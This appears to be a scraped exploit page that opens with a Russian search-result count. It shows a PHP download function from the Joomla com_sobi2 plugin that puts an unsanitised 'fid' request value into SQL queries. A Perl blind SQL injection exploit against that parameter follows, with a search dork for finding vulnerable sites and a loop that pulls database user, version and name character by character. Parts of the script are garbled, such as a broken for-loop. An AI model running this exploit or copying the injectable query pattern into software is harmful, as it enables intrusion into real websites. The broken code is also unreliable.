Результатов: примерно 509 000

function downloadFile()
{
$config =& sobi2Config::getInstance();
$database =& $config->getDb();
$fid = sobi2Config::request($_REQUEST, "fid", 0);
if($fid) {
$query = "SELECT `filename`, `filetype`, `filesize`, `fileext`, `itemid` FROM `#__sobi2_plugin_download` WHERE `fid` =
{$fid}
AND `enabled` = 1";
$database->setQuery($query);
$file = null;
if( !$config->forceLegacy && class_exists( "JDatabase" ) ) {
$file = $database->loadObject();
}
else {
$database->loadObject( $file );
}
if( $database->getErrorNum() ) {
$config->logSobiError( "Download plugin. DB reports: ".$database->stderr() );
}
$query = "UPDATE `#__sobi2_plugin_download` SET `counter` = `counter` + 1 WHERE `fid` =
{$fid}
";
$database->setQuery($query);
$database->query();
}
else {
trigger_error("sobi_download::downloadFile(): missing file id",E_USER_WARNING);
return null;
}
if(!is_object($file)) {
trigger_error("sobi_download::downloadFile(): DB error ($query)",E_USER_WARNING);
return null;
}
$filePath = _SOBI_CMSROOT.DS.$this->directory.$file->itemid.DS.$file->filename;
if(!file_exists($filePath)) {
trigger_error("sobi_download::downloadFile(): file {$filePath} does not exist");
return null;
}
$fileType = $this->mapExtension($file->fileext);
ob_end_clean();
ob_start();
header("Content-Disposition: attachment; filename = \"{$file->filename}\"");
header("Content-Type: {$fileType}");
readfile($filePath);
exit();
}

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " ################################################## ##############\n";
print " # Joomla Component com_sobi2 Blind SQL Injection Exploit #\n";
print " # Author:winstrool #\n";
print " # #\n";
print " # Dork: inurl:com_sobi2 #\n";
print " # Usage: perl sobi2.pl host path #\n";
print " # Example: perl sobi2.pl www.host.com /joomla/ -t 11 #\n";
print " ################################################## ##############\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $tid = $ARGV[2];
my %options = ();
GetOptions(\%options, "p=s", "t=i");
print "[~] Exploiting...\n";
if($options{"t"})
{
$tid = $options{"t"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i new;
my $query = "http://".$host.$path."index2.php?option=com_sobi2&sobi2Ta sk=dd_download&fid=".$tid." and (SUBSTRING((SELECT concat_ws(0x3a,user(),version(),database())),".$i. ",1))=CHAR(".$h.")";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
my $resp = $ua->get($query);
my $content = $resp->as_string;
if($content =~ /Disposition/)
{
return 1;
}
else
{
return 0;
}
}